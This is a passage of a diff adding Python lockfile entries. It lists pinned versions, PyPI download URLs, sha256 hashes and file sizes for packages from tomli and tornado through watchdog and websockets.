"2026-01-11T11:22:29.345Z" }, + { url = "https://files.pythonhosted.org/packages/fd/33/62bd6152c8bdd4c305ad9faca48f51d3acb2df1f8791b1477d46ff86e7f8/tomli-2.4.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e0fe8a0b8312acf3a88077a0802565cb09ee34107813bba1c7cd591fa6cfc8d", size = 276515, upload-time = "2026-01-11T11:22:30.327Z" }, + { url = "https://files.pythonhosted.org/packages/4b/ff/ae53619499f5235ee4211e62a8d7982ba9e439a0fb4f2f351a93d67c1dd2/tomli-2.4.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:413540dce94673591859c4c6f794dfeaa845e98bf35d72ed59636f869ef9f86f", size = 273806, upload-time = "2026-01-11T11:22:32.56Z" }, + { url = "https://files.pythonhosted.org/packages/47/71/cbca7787fa68d4d0a9f7072821980b39fbb1b6faeb5f5cf02f4a5559fa28/tomli-2.4.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0dc56fef0e2c1c470aeac5b6ca8cc7b640bb93e92d9803ddaf9ea03e198f5b0b", size = 281340, upload-time = "2026-01-11T11:22:33.505Z" }, + { url = "https://files.pythonhosted.org/packages/f5/00/d595c120963ad42474cf6ee7771ad0d0e8a49d0f01e29576ee9195d9ecdf/tomli-2.4.0-cp314-cp314t-win32.whl", hash = "sha256:d878f2a6707cc9d53a1be1414bbb419e629c3d6e67f69230217bb663e76b5087", size = 108106, upload-time = "2026-01-11T11:22:34.451Z" }, + { url = "https://files.pythonhosted.org/packages/de/69/9aa0c6a505c2f80e519b43764f8b4ba93b5a0bbd2d9a9de6e2b24271b9a5/tomli-2.4.0-cp314-cp314t-win_amd64.whl", hash = "sha256:2add28aacc7425117ff6364fe9e06a183bb0251b03f986df0e78e974047571fd", size = 120504, upload-time = "2026-01-11T11:22:35.764Z" }, + { url = "https://files.pythonhosted.org/packages/b3/9f/f1668c281c58cfae01482f7114a4b88d345e4c140386241a1a24dcc9e7bc/tomli-2.4.0-cp314-cp314t-win_arm64.whl", hash = "sha256:2b1e3b80e1d5e52e40e9b924ec43d81570f0e7d09d11081b797bc4692765a3d4", size = 99561, upload-time = "2026-01-11T11:22:36.624Z" }, + { url = "https://files.pythonhosted.org/packages/23/d1/136eb2cb77520a31e1f64cbae9d33ec6df0d78bdf4160398e86eec8a8754/tomli-2.4.0-py3-none-any.whl", hash = "sha256:1f776e7d669ebceb01dee46484485f43a4048746235e683bcdffacdf1fb4785a", size = 14477, upload-time = "2026-01-11T11:22:37.446Z" }, +] + +[[package]] +name = "tornado" +version = "6.5.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/37/1d/0a336abf618272d53f62ebe274f712e213f5a03c0b2339575430b8362ef2/tornado-6.5.4.tar.gz", hash = "sha256:a22fa9047405d03260b483980635f0b041989d8bcc9a313f8fe18b411d84b1d7", size = 513632, upload-time = "2025-12-15T19:21:03.836Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ab/a9/e94a9d5224107d7ce3cc1fab8d5dc97f5ea351ccc6322ee4fb661da94e35/tornado-6.5.4-cp39-abi3-macosx_10_9_universal2.whl", hash = "sha256:d6241c1a16b1c9e4cc28148b1cda97dd1c6cb4fb7068ac1bedc610768dff0ba9", size = 443909, upload-time = "2025-12-15T19:20:48.382Z" }, + { url = "https://files.pythonhosted.org/packages/db/7e/f7b8d8c4453f305a51f80dbb49014257bb7d28ccb4bbb8dd328ea995ecad/tornado-6.5.4-cp39-abi3-macosx_10_9_x86_64.whl", hash = "sha256:2d50f63dda1d2cac3ae1fa23d254e16b5e38153758470e9956cbc3d813d40843", size = 442163, upload-time = "2025-12-15T19:20:49.791Z" }, + { url = "https://files.pythonhosted.org/packages/ba/b5/206f82d51e1bfa940ba366a8d2f83904b15942c45a78dd978b599870ab44/tornado-6.5.4-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1cf66105dc6acb5af613c054955b8137e34a03698aa53272dbda4afe252be17", size = 445746, upload-time = "2025-12-15T19:20:51.491Z" }, + { url = "https://files.pythonhosted.org/packages/8e/9d/1a3338e0bd30ada6ad4356c13a0a6c35fbc859063fa7eddb309183364ac1/tornado-6.5.4-cp39-abi3-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:50ff0a58b0dc97939d29da29cd624da010e7f804746621c78d14b80238669335", size = 445083, upload-time = "2025-12-15T19:20:52.778Z" }, + { url = "https://files.pythonhosted.org/packages/50/d4/e51d52047e7eb9a582da59f32125d17c0482d065afd5d3bc435ff2120dc5/tornado-6.5.4-cp39-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e5fb5e04efa54cf0baabdd10061eb4148e0be137166146fff835745f59ab9f7f", size = 445315, upload-time = "2025-12-15T19:20:53.996Z" }, + { url = "https://files.pythonhosted.org/packages/27/07/2273972f69ca63dbc139694a3fc4684edec3ea3f9efabf77ed32483b875c/tornado-6.5.4-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9c86b1643b33a4cd415f8d0fe53045f913bf07b4a3ef646b735a6a86047dda84", size = 446003, upload-time = "2025-12-15T19:20:56.101Z" }, + { url = "https://files.pythonhosted.org/packages/d1/83/41c52e47502bf7260044413b6770d1a48dda2f0246f95ee1384a3cd9c44a/tornado-6.5.4-cp39-abi3-musllinux_1_2_i686.whl", hash = "sha256:6eb82872335a53dd063a4f10917b3efd28270b56a33db69009606a0312660a6f", size = 445412, upload-time = "2025-12-15T19:20:57.398Z" }, + { url = "https://files.pythonhosted.org/packages/10/c7/bc96917f06cbee182d44735d4ecde9c432e25b84f4c2086143013e7b9e52/tornado-6.5.4-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:6076d5dda368c9328ff41ab5d9dd3608e695e8225d1cd0fd1e006f05da3635a8", size = 445392, upload-time = "2025-12-15T19:20:58.692Z" }, + { url = "https://files.pythonhosted.org/packages/0c/1a/d7592328d037d36f2d2462f4bc1fbb383eec9278bc786c1b111cbbd44cfa/tornado-6.5.4-cp39-abi3-win32.whl", hash = "sha256:1768110f2411d5cd281bac0a090f707223ce77fd110424361092859e089b38d1", size = 446481, upload-time = "2025-12-15T19:21:00.008Z" }, + { url = "https://files.pythonhosted.org/packages/d6/6d/c69be695a0a64fd37a97db12355a035a6d90f79067a3cf936ec2b1dc38cd/tornado-6.5.4-cp39-abi3-win_amd64.whl", hash = "sha256:fa07d31e0cd85c60713f2b995da613588aa03e1303d75705dca6af8babc18ddc", size = 446886, upload-time = "2025-12-15T19:21:01.287Z" }, + { url = "https://files.pythonhosted.org/packages/50/49/8dc3fd90902f70084bd2cd059d576ddb4f8bb44c2c7c0e33a11422acb17e/tornado-6.5.4-cp39-abi3-win_arm64.whl", hash = "sha256:053e6e16701eb6cbe641f308f4c1a9541f91b6261991160391bfc342e8a551a1", size = 445910, upload-time = "2025-12-15T19:21:02.571Z" }, +] + +[[package]] +name = "typing-extensions" +version = "4.15.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/72/94/1a15dd82efb362ac84269196e94cf00f187f7ed21c242792a923cdb1c61f/typing_extensions-4.15.0.tar.gz", hash = "sha256:0cea48d173cc12fa28ecabc3b837ea3cf6f38c6d1136f85cbaaf598984861466", size = 109391, upload-time = "2025-08-25T13:49:26.313Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/18/67/36e9267722cc04a6b9f15c7f3441c2363321a3ea07da7ae0c0707beb2a9c/typing_extensions-4.15.0-py3-none-any.whl", hash = "sha256:f0fa19c6845758ab08074a0cfa8b7aecb71c999ca73d62883bc25cc018c4e548", size = 44614, upload-time = "2025-08-25T13:49:24.86Z" }, +] + +[[package]] +name = "typing-inspection" +version = "0.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/55/e3/70399cb7dd41c10ac53367ae42139cf4b1ca5f36bb3dc6c9d33acdb43655/typing_inspection-0.4.2.tar.gz", hash = "sha256:ba561c48a67c5958007083d386c3295464928b01faa735ab8547c5692e87f464", size = 75949, upload-time = "2025-10-01T02:14:41.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" }, +] + +[[package]] +name = "unidecode" +version = "1.4.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/94/7d/a8a765761bbc0c836e397a2e48d498305a865b70a8600fd7a942e85dcf63/Unidecode-1.4.0.tar.gz", hash = "sha256:ce35985008338b676573023acc382d62c264f307c8f7963733405add37ea2b23", size = 200149, upload-time = "2025-04-24T08:45:03.798Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8f/b7/559f59d57d18b44c6d1250d2eeaa676e028b9c527431f5d0736478a73ba1/Unidecode-1.4.0-py3-none-any.whl", hash = "sha256:c3c7606c27503ad8d501270406e345ddb480a7b5f38827eafe4fa82a137f0021", size = 235837, upload-time = "2025-04-24T08:45:01.609Z" }, +] + +[[package]] +name = "urllib3" +version = "2.6.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/c7/24/5f1b3bdffd70275f6661c76461e25f024d5a38a46f04aaca912426a2b1d3/urllib3-2.6.3.tar.gz", hash = "sha256:1b62b6884944a57dbe321509ab94fd4d3b307075e0c2eae991ac71ee15ad38ed", size = 435556, upload-time = "2026-01-07T16:24:43.925Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/39/08/aaaad47bc4e9dc8c725e68f9d04865dbcb2052843ff09c97b08904852d84/urllib3-2.6.3-py3-none-any.whl", hash = "sha256:bf272323e553dfb2e87d9bfd225ca7b0f467b919d7bbd355436d3fd37cb0acd4", size = 131584, upload-time = "2026-01-07T16:24:42.685Z" }, +] + +[[package]] +name = "uvicorn" +version = "0.39.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "h11" }, + { name = "typing-extensions", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ae/4f/f9fdac7cf6dd79790eb165639b5c452ceeabc7bbabbba4569155470a287d/uvicorn-0.39.0.tar.gz", hash = "sha256:610512b19baa93423d2892d7823741f6d27717b642c8964000d7194dded19302", size = 82001, upload-time = "2025-12-21T13:05:17.973Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6b/25/db2b1c6c35bf22e17fe5412d2ee5d3fd7a20d07ebc9dac8b58f7db2e23a0/uvicorn-0.39.0-py3-none-any.whl", hash = "sha256:7beec21bd2693562b386285b188a7963b06853c0d006302b3e4cfed950c9929a", size = 68491, upload-time = "2025-12-21T13:05:16.291Z" }, +] + +[[package]] +name = "verspec" +version = "0.1.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e7/44/8126f9f0c44319b2efc65feaad589cadef4d77ece200ae3c9133d58464d0/verspec-0.1.0.tar.gz", hash = "sha256:c4504ca697b2056cdb4bfa7121461f5a0e81809255b41c03dda4ba823637c01e", size = 27123, upload-time = "2020-11-30T02:24:09.646Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/a4/ce/3b6fee91c85626eaf769d617f1be9d2e15c1cca027bbdeb2e0d751469355/verspec-0.1.0-py3-none-any.whl", hash = "sha256:741877d5633cc9464c45a469ae2a31e801e6dbbaa85b9675d481cda100f11c31", size = 19640, upload-time = "2020-11-30T02:24:08.387Z" }, +] + +[[package]] +name = "virtualenv" +version = "20.36.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "distlib" }, + { name = "filelock" }, + { name = "platformdirs" }, + { name = "typing-extensions", marker = "python_full_version < '3.11'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/aa/a3/4d310fa5f00863544e1d0f4de93bddec248499ccf97d4791bc3122c9d4f3/virtualenv-20.36.1.tar.gz", hash = "sha256:8befb5c81842c641f8ee658481e42641c68b5eab3521d8e092d18320902466ba", size = 6032239, upload-time = "2026-01-09T18:21:01.296Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6a/2a/dc2228b2888f51192c7dc766106cd475f1b768c10caaf9727659726f7391/virtualenv-20.36.1-py3-none-any.whl", hash = "sha256:575a8d6b124ef88f6f51d56d656132389f961062a9177016a50e4f507bbcc19f", size = 6008258, upload-time = "2026-01-09T18:20:59.425Z" }, +] + +[[package]] +name = "watchdog" +version = "6.0.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/db/7d/7f3d619e951c88ed75c6037b246ddcf2d322812ee8ea189be89511721d54/watchdog-6.0.0.tar.gz", hash = "sha256:9ddf7c82fda3ae8e24decda1338ede66e1c99883db93711d8fb941eaa2d8c282", size = 131220, upload-time = "2024-11-01T14:07:13.037Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0c/56/90994d789c61df619bfc5ce2ecdabd5eeff564e1eb47512bd01b5e019569/watchdog-6.0.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1cdb490583ebd691c012b3d6dae011000fe42edb7a82ece80965b42abd61f26", size = 96390, upload-time = "2024-11-01T14:06:24.793Z" }, + { url = "https://files.pythonhosted.org/packages/55/46/9a67ee697342ddf3c6daa97e3a587a56d6c4052f881ed926a849fcf7371c/watchdog-6.0.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:bc64ab3bdb6a04d69d4023b29422170b74681784ffb9463ed4870cf2f3e66112", size = 88389, upload-time = "2024-11-01T14:06:27.112Z" }, + { url = "https://files.pythonhosted.org/packages/44/65/91b0985747c52064d8701e1075eb96f8c40a79df889e59a399453adfb882/watchdog-6.0.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c897ac1b55c5a1461e16dae288d22bb2e412ba9807df8397a635d88f671d36c3", size = 89020, upload-time = "2024-11-01T14:06:29.876Z" }, + { url = "https://files.pythonhosted.org/packages/e0/24/d9be5cd6642a6aa68352ded4b4b10fb0d7889cb7f45814fb92cecd35f101/watchdog-6.0.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:6eb11feb5a0d452ee41f824e271ca311a09e250441c262ca2fd7ebcf2461a06c", size = 96393, upload-time = "2024-11-01T14:06:31.756Z" }, + { url = "https://files.pythonhosted.org/packages/63/7a/6013b0d8dbc56adca7fdd4f0beed381c59f6752341b12fa0886fa7afc78b/watchdog-6.0.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:ef810fbf7b781a5a593894e4f439773830bdecb885e6880d957d5b9382a960d2", size = 88392, upload-time = "2024-11-01T14:06:32.99Z" }, + { url = "https://files.pythonhosted.org/packages/d1/40/b75381494851556de56281e053700e46bff5b37bf4c7267e858640af5a7f/watchdog-6.0.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:afd0fe1b2270917c5e23c2a65ce50c2a4abb63daafb0d419fde368e272a76b7c", size = 89019, upload-time = "2024-11-01T14:06:34.963Z" }, + { url = "https://files.pythonhosted.org/packages/39/ea/3930d07dafc9e286ed356a679aa02d777c06e9bfd1164fa7c19c288a5483/watchdog-6.0.0-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:bdd4e6f14b8b18c334febb9c4425a878a2ac20efd1e0b231978e7b150f92a948", size = 96471, upload-time = "2024-11-01T14:06:37.745Z" }, + { url = "https://files.pythonhosted.org/packages/12/87/48361531f70b1f87928b045df868a9fd4e253d9ae087fa4cf3f7113be363/watchdog-6.0.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:c7c15dda13c4eb00d6fb6fc508b3c0ed88b9d5d374056b239c4ad1611125c860", size = 88449, upload-time = "2024-11-01T14:06:39.748Z" }, + { url = "https://files.pythonhosted.org/packages/5b/7e/8f322f5e600812e6f9a31b75d242631068ca8f4ef0582dd3ae6e72daecc8/watchdog-6.0.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:6f10cb2d5902447c7d0da897e2c6768bca89174d0c6e1e30abec5421af97a5b0", size = 89054, upload-time = "2024-11-01T14:06:41.009Z" }, + { url = "https://files.pythonhosted.org/packages/68/98/b0345cabdce2041a01293ba483333582891a3bd5769b08eceb0d406056ef/watchdog-6.0.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:490ab2ef84f11129844c23fb14ecf30ef3d8a6abafd3754a6f75ca1e6654136c", size = 96480, upload-time = "2024-11-01T14:06:42.952Z" }, + { url = "https://files.pythonhosted.org/packages/85/83/cdf13902c626b28eedef7ec4f10745c52aad8a8fe7eb04ed7b1f111ca20e/watchdog-6.0.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:76aae96b00ae814b181bb25b1b98076d5fc84e8a53cd8885a318b42b6d3a5134", size = 88451, upload-time = "2024-11-01T14:06:45.084Z" }, + { url = "https://files.pythonhosted.org/packages/fe/c4/225c87bae08c8b9ec99030cd48ae9c4eca050a59bf5c2255853e18c87b50/watchdog-6.0.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a175f755fc2279e0b7312c0035d52e27211a5bc39719dd529625b1930917345b", size = 89057, upload-time = "2024-11-01T14:06:47.324Z" }, + { url = "https://files.pythonhosted.org/packages/30/ad/d17b5d42e28a8b91f8ed01cb949da092827afb9995d4559fd448d0472763/watchdog-6.0.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:c7ac31a19f4545dd92fc25d200694098f42c9a8e391bc00bdd362c5736dbf881", size = 87902, upload-time = "2024-11-01T14:06:53.119Z" }, + { url = "https://files.pythonhosted.org/packages/5c/ca/c3649991d140ff6ab67bfc85ab42b165ead119c9e12211e08089d763ece5/watchdog-6.0.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:9513f27a1a582d9808cf21a07dae516f0fab1cf2d7683a742c498b93eedabb11", size = 88380, upload-time = "2024-11-01T14:06:55.19Z" }, + { url = "https://files.pythonhosted.org/packages/a9/c7/ca4bf3e518cb57a686b2feb4f55a1892fd9a3dd13f470fca14e00f80ea36/watchdog-6.0.0-py3-none-manylinux2014_aarch64.whl", hash = "sha256:7607498efa04a3542ae3e05e64da8202e58159aa1fa4acddf7678d34a35d4f13", size = 79079, upload-time = "2024-11-01T14:06:59.472Z" }, + { url = "https://files.pythonhosted.org/packages/5c/51/d46dc9332f9a647593c947b4b88e2381c8dfc0942d15b8edc0310fa4abb1/watchdog-6.0.0-py3-none-manylinux2014_armv7l.whl", hash = "sha256:9041567ee8953024c83343288ccc458fd0a2d811d6a0fd68c4c22609e3490379", size = 79078, upload-time = "2024-11-01T14:07:01.431Z" }, + { url = "https://files.pythonhosted.org/packages/d4/57/04edbf5e169cd318d5f07b4766fee38e825d64b6913ca157ca32d1a42267/watchdog-6.0.0-py3-none-manylinux2014_i686.whl", hash = "sha256:82dc3e3143c7e38ec49d61af98d6558288c415eac98486a5c581726e0737c00e", size = 79076, upload-time = "2024-11-01T14:07:02.568Z" }, + { url = "https://files.pythonhosted.org/packages/ab/cc/da8422b300e13cb187d2203f20b9253e91058aaf7db65b74142013478e66/watchdog-6.0.0-py3-none-manylinux2014_ppc64.whl", hash = "sha256:212ac9b8bf1161dc91bd09c048048a95ca3a4c4f5e5d4a7d1b1a7d5752a7f96f", size = 79077, upload-time = "2024-11-01T14:07:03.893Z" }, + { url = "https://files.pythonhosted.org/packages/2c/3b/b8964e04ae1a025c44ba8e4291f86e97fac443bca31de8bd98d3263d2fcf/watchdog-6.0.0-py3-none-manylinux2014_ppc64le.whl", hash = "sha256:e3df4cbb9a450c6d49318f6d14f4bbc80d763fa587ba46ec86f99f9e6876bb26", size = 79078, upload-time = "2024-11-01T14:07:05.189Z" }, + { url = "https://files.pythonhosted.org/packages/62/ae/a696eb424bedff7407801c257d4b1afda455fe40821a2be430e173660e81/watchdog-6.0.0-py3-none-manylinux2014_s390x.whl", hash = "sha256:2cce7cfc2008eb51feb6aab51251fd79b85d9894e98ba847408f662b3395ca3c", size = 79077, upload-time = "2024-11-01T14:07:06.376Z" }, + { url = "https://files.pythonhosted.org/packages/b5/e8/dbf020b4d98251a9860752a094d09a65e1b436ad181faf929983f697048f/watchdog-6.0.0-py3-none-manylinux2014_x86_64.whl", hash = "sha256:20ffe5b202af80ab4266dcd3e91aae72bf2da48c0d33bdb15c66658e685e94e2", size = 79078, upload-time = "2024-11-01T14:07:07.547Z" }, + { url = "https://files.pythonhosted.org/packages/07/f6/d0e5b343768e8bcb4cda79f0f2f55051bf26177ecd5651f84c07567461cf/watchdog-6.0.0-py3-none-win32.whl", hash = "sha256:07df1fdd701c5d4c8e55ef6cf55b8f0120fe1aef7ef39a1c6fc6bc2e606d517a", size = 79065, upload-time = "2024-11-01T14:07:09.525Z" }, + { url = "https://files.pythonhosted.org/packages/db/d9/c495884c6e548fce18a8f40568ff120bc3a4b7b99813081c8ac0c936fa64/watchdog-6.0.0-py3-none-win_amd64.whl", hash = "sha256:cbafb470cf848d93b5d013e2ecb245d4aa1c8fd0504e863ccefa32445359d680", size = 79070, upload-time = "2024-11-01T14:07:10.686Z" }, + { url = "https://files.pythonhosted.org/packages/33/e8/e40370e6d74ddba47f002a32919d91310d6074130fe4e17dabcafc15cbf1/watchdog-6.0.0-py3-none-win_ia64.whl", hash = "sha256:a1914259fa9e1454315171103c6a30961236f508b9b623eae470268bbcc6a22f", size = 79067, upload-time = "2024-11-01T14:07:11.845Z" }, +] + +[[package]] +name = "websockets" +version = "15.0.1" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/21/e6/26d09fab466b7ca9c7737474c52be4f76a40301b08362eb2dbc19dcc16c1/websockets-15.0.1.tar.gz", hash = "sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee", size = 177016, upload-time = "2025-03-05T20:03:41.606Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/1e/da/6462a9f510c0c49837bbc9345aca92d767a56c1fb2939e1579df1e1cdcf7/websockets-15.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d63efaa0cd96cf0c5fe4d581521d9fa87744540d4bc999ae6e08595a1014b45b", size = 175423, upload-time = "2025-03-05T20:01:35.363Z" }, + { url = "https://files.pythonhosted.org/packages/1c/9f/9d11c1a4eb046a9e106483b9ff69bce7ac880443f00e5ce64261b47b07e7/websockets-15.0.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ac60e3b188ec7574cb761b08d50fcedf9d77f1530352db4eef1707fe9dee7205", size = 173080, upload-time = "2025-03-05T20:01:37.304Z" }, + { url = "https://files.pythonhosted.org/packages/d5/4f/b462242432d93ea45f297b6179c7333dd0402b855a912a04e7fc61c0d71f/websockets-15.0.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5756779642579d902eed757b21b0164cd6fe338506a8083eb58af5c372e39d9a", size = 173329, upload-time = "2025-03-05T20:01:39.668Z" }, + { url = "https://files.pythonhosted.org/packages/6e/0c/6afa1f4644d7ed50284ac59cc70ef8abd44ccf7d45850d989ea7310538d0/websockets-15.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0fdfe3e2a29e4db3659dbd5bbf04560cea53dd9610273917799f1cde46aa725e", size = 182312, upload-time = "2025-03-05T20:01:41.815Z" }, + { url = "https://files.pythonhosted.org/packages/dd/d4/ffc8bd1350b229ca7a4db2a3e1c482cf87cea1baccd0ef3e72bc720caeec/websockets-15.0.1-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4c2529b320eb9e35af0fa3016c187dffb84a3ecc572bcee7c3ce302bfeba52bf", size = 181319, upload-time = "2025-03-05T20:01:43.967Z" }, + { url = "https://files.pythonhosted.org/packages/97/3a/5323a6bb94917af13bbb34009fac01e55c51dfde354f63692bf2533ffbc2/websockets-15.0.1-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ac1e5c9054fe23226fb11e05a6e630837f074174c4c2f0fe442996112a6de4fb", size = 181631, upload-time = "2025-03-05T20:01:46.104Z" }, + { url = "https://files.pythonhosted.org/packages/a6/cc/1aeb0f7cee59ef065724041bb7ed667b6ab1eeffe5141696cccec2687b66/websockets-15.0.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5df592cd503496351d6dc14f7cdad49f268d8e618f80dce0cd5a36b93c3fc08d", size = 182016, upload-time = "2025-03-05T20:01:47.603Z" }, + { url = "https://files.pythonhosted.org/packages/79/f9/c86f8f7af208e4161a7f7e02774e9d0a81c632ae76db2ff22549e1718a51/websockets-15.0.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:0a34631031a8f05657e8e90903e656959234f3a04552259458aac0b0f9ae6fd9", size = 181426, upload-time = "2025-03-05T20:01:48.949Z" }, + { url = "https://files.pythonhosted.org/packages/c7/b9/828b0bc6753db905b91df6ae477c0b14a141090df64fb17f8a9d7e3516cf/websockets-15.0.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3d00075aa65772e7ce9e990cab3ff1de702aa09be3940d1dc88d5abf1ab8a09c", size = 181360, upload-time = "2025-03-05T20:01:50.938Z" }, + { url = "https://files.pythonhosted.org/packages/89/fb/250f5533ec468ba6327055b7d98b9df056fb1ce623b8b6aaafb30b55d02e/websockets-15.0.1-cp310-cp310-win32.whl", hash = "sha256:1234d4ef35db82f5446dca8e35a7da7964d02c127b095e172e54397fb6a6c256", size = 176388, upload-time = "2025-03-05T20:01:52.213Z" }, + { url = "https://files.pythonhosted.org/packages/1c/46/aca7082012768bb98e5608f01658ff3ac8437e563eca41cf068bd5849a5e/websockets-15.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:39c1fec2c11dc8d89bba6b2bf1556af381611a173ac2b511cf7231622058af41", size = 176830, upload-time = "2025-03-05T20:01:53.922Z" }, + { url = "https://files.pythonhosted.org/packages/9f/32/18fcd5919c293a398db67443acd33fde142f283853076049824fc58e6f75/websockets-15.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:823c248b690b2fd9303ba00c4f66cd5e2d8c3ba4aa968b2779be9532a4dad431", size = 175423, upload-time = "2025-03-05T20:01:56.276Z" }, + { url = "https://files.pythonhosted.org/packages/76/70/ba1ad96b07869275ef42e2ce21f07a5b0148936688c2baf7e4a1f60d5058/websockets-15.0.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:678999709e68425ae2593acf2e3ebcbcf2e69885a5ee78f9eb80e6e371f1bf57", size = 173082, upload-time = "2025-03-05T20:01:57.563Z" }, + { url = "https://files.pythonhosted.org/packages/86/f2/10b55821dd40eb696ce4704a87d57774696f9451108cff0d2824c97e0f97/websockets-15.0.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d50fd1ee42388dcfb2b3676132c78116490976f1300da28eb629272d5d93e905", size = 173330, upload-time = "2025-03-05T20:01:59.063Z" }, + { url = "https://files.pythonhosted.org/packages/a5/90/1c37ae8b8a113d3daf1065222b6af61cc44102da95388ac0018fcb7d93d9/websockets-15.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d99e5546bf73dbad5bf3547174cd6cb8ba7273062a23808ffea025ecb1cf8562", size = 182878, upload-time = "2025-03-05T20:02:00.305Z" }, + { url = "https://files.pythonhosted.org/packages/8e/8d/96e8e288b2a41dffafb78e8904ea7367ee4f891dafc2ab8d87e2124cb3d3/websockets-15.0.1-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:66dd88c918e3287efc22409d426c8f729688d89a0c587c88971a0faa2c2f3792", size = 181883, upload-time = "2025-03-05T20:02:03.148Z" }, + { url = "https://files.pythonhosted.org/packages/93/1f/5d6dbf551766308f6f50f8baf8e9860be6182911e8106da7a7f73785f4c4/websockets-15.0.1-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8dd8327c795b3e3f219760fa603dcae1dcc148172290a8ab15158cf85a953413", size = 182252, upload-time = "2025-03-05T20:02:05.29Z" }, + { url = "https://files.pythonhosted.org/packages/d4/78/2d4fed9123e6620cbf1706c0de8a1632e1a28e7774d94346d7de1bba2ca3/websockets-15.0.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8fdc51055e6ff4adeb88d58a11042ec9a5eae317a0a53d12c062c8a8865909e8", size = 182521, upload-time = "2025-03-05T20:02:07.458Z" }, + { url = "https://files.pythonhosted.org/packages/e7/3b/66d4c1b444dd1a9823c4a81f50231b921bab54eee2f69e70319b4e21f1ca/websockets-15.0.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:693f0192126df6c2327cce3baa7c06f2a117575e32ab2308f7f8216c29d9e2e3", size = 181958, upload-time = "2025-03-05T20:02:09.842Z" }, + { url = "https://files.pythonhosted.org/packages/08/ff/e9eed2ee5fed6f76fdd6032ca5cd38c57ca9661430bb3d5fb2872dc8703c/websockets-15.0.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = 